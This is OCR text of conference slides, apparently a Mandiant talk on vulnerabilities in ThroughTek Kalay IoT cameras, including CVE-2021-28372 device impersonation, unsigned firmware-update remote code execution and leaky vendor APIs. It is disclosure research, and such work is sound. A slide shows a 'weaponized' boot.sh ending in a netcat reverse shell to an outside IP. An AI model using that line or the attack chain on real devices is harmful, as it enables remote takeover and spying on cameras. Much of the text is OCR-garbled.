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Initial Research

* Research started in Fall 2020
* General interest in smart cameras

— Purchased 10+ unique camera models to practice/teach embedded
security

— No specific objectives other than “let’s see what we can find!”
°* Common themes:

— Embedded hardware testing

— Mobile applications

— Reverse engineering
— Web APIs
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First Real Challenge — What’s this UDP Stuff?

* Within the first day, we had rooted most devices we tested

* Early network analysis of a particular
device was unusual

— Zero TCP traffic during an audio/video stream (all
UDP)

— Non-standard ports
— Binary (non-ASCIl) looking data
— Not high entropy

— Patterns in packet data and packet sizes
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Enter: The Kalay Network

Developed by ThroughTek Co., Ltd. (“TUTK")
Taiwanese-based software company

A platform for manufactures/OEMs to enable remote connectivity of smart devices
— Over 83 Million registered devices and 1.1 billion monthly connections
— Implemented as an SDK
— Each device assigned a unique identifier (“UID"”)

4 main layers

— Device discovery and connectivity

— Authentication
— Audio/video
— Remote Procedure Call (“RPC”) layer called IOCTRL

Developed a comprehensive Python library to
send/receive Kalay messages

27 TUTK

ThroughTek Co., Ltd.
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CVE-2021-28372: Device Impersonation

* Anyone who knows a device’s UID can
register that device on the Kalay network

— An attacker could compromise up to 83 million loT
cameras

* For more technical information, read our
blog/talk to us Threat Research Blog

— Published jointly with U.S. Cybersecurity Infrastructure  Mandiant Discloses Critical Vulnerability Affecting

C) r‘:' RE EYE Products Mandiant Customers

Home FireEye Blogs Threat Research Mandiant Discloses Critical Vulnerability Affectin...

Security Agency (“CISA”) [August 17] Millions of loT Devices
Y TUTK Shared recommendatlons on thelr August 17, 2021 | by Jake Valletta, Erik Barzdukas, Dillon Franke
we bS |te il [WCC
. . Today, Mandiant disclosed a critical risk vulnerability in coordination with the Cybersecurity and Infrastructure
- Update the TUTK libra ry version Security Agency ("CISA”) that affects millions of 10T devices that use the ThroughTek "Kalay” network. This

“ »” “ »” vulnerability, discovered by researchers on Mandiant's Red Team in late 2020, would enable adversaries to
— Use AUthKey and DTLS featu res Of Kalay network remotely compromise victim |oT devices, resulting in the ability to listen to live audio, watch real time video data,
and compromise device credentials for further attacks based on exposed device functionality. These further
attacks could include actions that would allow an adversary to remotely control affected devices.
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CVE-2021-28372: Device Impersonation
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CVE-2021-28372: Device Impersonation

Mobile Application
(Remote Network 1)

Kalay

2. Attacker is Network
registered on t

he
| Kalay network }

Registration Server

1. Attacker
spoofs request to
register victim’s
camera on the

Kalay network
using its UID

Attacker Device
(Remote Network 2)

NULLCON



CVE-2021-28372: Device Impersonation
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CVE-2021-28372: Device Impersonation
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What’s Next?

* (CVE-2021-28372 allows us to obtain credentials needed to talk to remote
devices (bad)

— Implicit compromise of audio / video data (very bad)
— Unauthorized used of IOCTRL layer (maybe bad)

...But what if we found bugs in specific camera models/APIs that could be
triggered by IOCTRL?
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Case Study #1: Remote Kalay Functionality

° |terative process * |OCTRL functionality of note:
— Root device — Control LED light
— ldentify interesting functionality — Control A/V flow
— Capture traffic — Get/set device parameters
— Analyze traffic — Remote firmware updates

— Analyze firmware

— Write parser

if ( msg_number == @xG@BSE ) <= Kalay IOType for Firmware Update

1
comM_sysLoG(4, "emd:[¥#x] [TUTK] [ _OTA REMOTE_UPGRADE_REQ] SID[%d]\n", @x6@@8E, result);

Tk _ota remote upgrade req_handle(a2, (char *)az
¥
else if ( msg number == Bx60@898 ) Ka|ay |OType Payload

{

comm_sysLoa(4, "cmd:[%#x] [TUTK] [ _OTA_UPGRADE_PROGRESS REQ] SID[%d]\n", 8x68898, result);
Tk_ota_remote_upgrade_progress_req_handle(az, a3);

¥
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Case Study #1: Kalay RPC: Remote Firmware Updates

°* Remote firmware update used by
mobile application via IOCTRL

— Not signed / encrypted

— Contains URL to firmware update

* Unsafely unTARed to local storage

* (Can overwrite critical files:
— /mnt/mtd/boot.sh

[firmware) tail boot.sh

exit
fi

export OPENSSL_CONF=/mnt/mtd/openssl.cnf
#ulimit -s 10240

./hisi_check_format.sh

sleep 1

./socket_system_server &

.[faoni_ipc &

./daemon &

[firmware) tall boot-weaponized.sh

export OPENSSL_CONF=/mnt/mtd/openssl.cnf
#ulimit -s 10240

./hisi_check_format.sh

sleep 1

./socket_system_server &

.faoni_ipc &

./daemon &

sleep 12

nc 143.110.224.168 9435 -e /bin/sh & NULLON




Case Study #1: RCE - Chaining it All Together

* Create malicious firmware update package and host in Cloud
* Device impersonation (CVE-2021-28372) to steal credentials

* |nitiate connection to victim camera and initiate firmware update to overwrite
boot. sh

* Reverse shelll

NULLCON



Malicious Firmware Update Remote Code Execution

gl
2p ! |root@-s-1vcpu-1gb-sfo3-01:/var/log/nginx#




Case Study #2: Custom Authentication Layer

e Uses a custom authentication over Kalay’s IOCTRL layer
— Does not rely on Kalay username/password auth

— Uses a challenge/response format with custom encryption

* Mobile app + frida to understand data packet formats

— Device-code is MIPS and not as easy to analyze
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Case Study #2: Custom Authentication
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Case Study #2: Custom Authentication
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Case Study #2: Custom Authentication
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Case Study #2: Custom Authentication
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Case Study #2: Custom Authentication
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Case Study #2: Custom Authentication
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Case Study #2: Sounds Secure?

e Custom auth protocol is effective at validating that the Client is a trusted
connection...

* However, it assumes that devices cannot be impersonated
— Our friend CVE-2021-28372 strikes again!

e Attack is very similar to general CVE-2021-28372 exploitation with one key
difference:

— Attacker needs to somehow leak the secret from either the Client or Device or demonstrate the ability to
decrypt/encrypt a challenge
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Case Study #2: Post-Authentication

* Still need another vulnerability to actually compromise device

* |P Camera #2 supports 50+ custom IOCTRL messages post-authentication

* How about remote firmware updates?

— Of course!
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Case Study #2: Firmware Updates Strike Again!

* Custom IOCTRL message containing:
— URL to firmware image
— MD?5 of firmware image
— Additional data that doesn’t matter
* Downloaded and unpacked by victim device
— Executes a shell script inside of the archive as root!
* Exact same scenario as IP Cam #1!

— Reverse shell to a Cloud host as root
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Case Study #2: Breaking Custom Authentication
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Case Study #2: Breaking Custom Authentication
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Case Study #2: Breaking Custom Authentication
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Case Study #2: Breaking Custom Authentication
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Case Study #2: Breaking Custom Authentication
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Case Study #2: Breaking Custom Authentication
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Case Study #2: Breaking Custom Authentication
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Case Study #2: Breaking Custom Authentication
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Case Study #2: Breaking Custom Authentication
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ase Study #2: Demo Time!

@ menu 5 )
.
File Edit View Search Terminal Help root@malicious—kitty:~#

analyst@A12310-DEV: /repos/tutk/test/pytutk$ python sample.py z $TUTK_UID S$TUTK_USER STUTK_PASSWORD 2=>/dev
/nul

aspx — root@malicious-kitty: ~ — s h/malicious-kitty root@143.198.156.97 — 90x24
se rdlists/W laudanum-0 — root@malicious-kitty: ~ — ssh -i ~/.ssh/malicious-kitty root@143.198.156.97
rootPmalicious-kitty:/var/log/apache2#

File Edit View Search Terminal Help
analyst@A12310-DEV: /repos/tutk/test/pytutkS python sample.py x $STUTK_UID 2>,’dev,‘nullD

[ analyst@A12310-DEV: ... [ analyst@A12310-DEV: ...




Case Study #3: Insecure Web APIs?

e TUTK UIDs were infeasible to brute-force
— 20 bytes, pseudorandom
* The existence of CVE-2021-28372 means protecting customer TUTK UIDs is of the utmost importance
* |oT Camera apps often write their own APIs to access TUTK UIDs
— E.g. GET /api/device/get uid
* We assessed whether these APIs were implemented correctly
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Case Study #3: Insecure Camera APIs

e |P camera APls were often not Pretty [l Hex \n = Select extension... Raw Hex Render \n =
. . . . . 1 GET /d/ Ecm .. HTTP/2 1 HTTP/2 200 OK|
bU||t Wlth secu rlty N mlﬂd 2 Host: auth. u 2 Content-Type: application/json
3 Accept: application/json, text/javascript, */*; 3 Content-Length: 118
_ H g=0.01 4 Date: Tue, 05 Apr 2022 14:17:09 GMT
Many APIs returned the TUTK UID tled 4 Authorization: Basic 5 X-Amzn-Requestid: 307e91£f3-6161-42eb-b780-befd438240ffc
to an account = m L] 6 X-Xss-Protection: 1:;mode=block
5 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 7 Allow: GET. POST. PATCH. DELETE. HEAD. OPTIONS
h ” 10 15 7) AppleWebKit/537.36 (KHTML, like Gecko) 8
— For some vendors, these API calls were EseeCloud/1.0.1 Chrome/51.0.2704.103 Electron/1.2.5 9
either' Safari/537.36 10
* 6 Accept-Encoding: gzip, deflate 11
. 7 Accept-Language: en-US 12
* Unauthenticated 8
. 9 13
* Used default credentials 14
15
* Enumerable UIDs 16
17
18 {

"code":200,

lImYlI : [
{ &
n " : n OffiC L]
[Fuig":" 3111A", |

"account " : ’
"password":

}

1
}
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Case Study #3: Insecure Camera APIs

APl infrastructure was also not e 80 = Sy o Ele e 8 0

1 HTTP/2 500 Internal Server Error
2 Host: auth.ssssses: = == 2 Content-Type: text/plain
M M M M M 3 Accept: application/json, text/javascript, */*; 3 Content-Length: 13942
esigne WIth secu r|ty N Min ge0.01 £ ! Date: Tue, 05 Apr 2022 14:23:26 G
4jAuthorization: Basic HUH

10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)

 Surface-level reconnaissance o

6 Accept-Encoding: gzip, deflate
7 Accept-Language: en-US 10

— Sending a malformed payload caused : 17
one APl to throw an internal server

-
16] TYPeError at /ms msssmssmspmemm '
error 17| Incorrect padding

"
5 User-Agent: Mozilla/5. acintosh; Intel Mac OS X 6
8
9

. 19} Request Method: GET
—_— DJango debug mode Was enabled 20} Request URL: https:// g execute-api.us-east-2.amazonaws.com/ " prod_sec/d/
21} Django Version: 1.10.5
22} python Executable: /usr/bin/python2.7
. . 23] Python Version: 2.7.18
—_ EnV| ron ment Va r|a bles d u m ped 24} Python Path: ['/var/task', '/opt/python/lib/python2.7/site-packages', '/opt/python', '/var/
'/var/runtime', '/usr/lib/python27.zip', '/usr/lib64/python2.7', '/usr/lib64/python2.7/plat
‘/usr/1ib64/python2.7/1lib-tk', '/usr/lib64/python2.7/lib-old', '/usr/1lib64/python2.7/lib-dy
. . ‘/usr/local/lib64/python2.7/site-packages’', '/usr/local/lib/python2.7/site-packages’,
[ ] D I d n Ot eX p | O It fu rt h e r '/usr/1ib64/python2.7/site-packages', '/usr/lib/python2.7/site-packages', '/usr/lib64/pytho
'/usr/lib/python2.7/dist-packages', '/opt/python/lib/python2.7/site-packages', '/opt/python
25| Server time: Tue, 5 Apr 2022 14:23:26 +0000
. 26] Installed Applications:
— Mass compromise of TUTK UIDs seems i Yo han
28] u'django.contrib.auth’,
. 29] u'django.contrib.contenttypes',
pOSS|bIe 30} u'django.contrib.sessions’,
31} u'django.contrib.messages’,
32] u'django.contrib.staticfiles’,
33] u'rest_framework',
34] u'account_management',
35] u'device_management',
36 u'channel_management',
37] u'favorite_management',
38] u'storages')
39 Installed Middleware:
40} (u'django.contrib.sessions.middleware.SessionMiddleware’,
41} u'django.middleware.common.CommonMiddleware',
42] u'django.middleware.csrf.CsrfViewMiddleware',
43] u'django.contrib.auth.middleware.AuthenticationMiddleware',
44} u'django.contrib.messages.middleware.MessageMiddleware',
45] u'django.middleware.clickjacking.XFrameOptionsMiddleware')
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Conclusions

* Compromising a modern loT device locally is often easy
 Lack of hardening measures on devices led to RCE in all cases we explored

* Devices utilizing the Kalay protocol without “AuthKey” can be impersonated and accessed by
attackers (CVE-2021-28372)

 Kalay UIDs need to be protected and retrieved securely from web APIs
* Huge thanks to: CISA, ThroughTek, and various camera vendors, and of course Nullcon!
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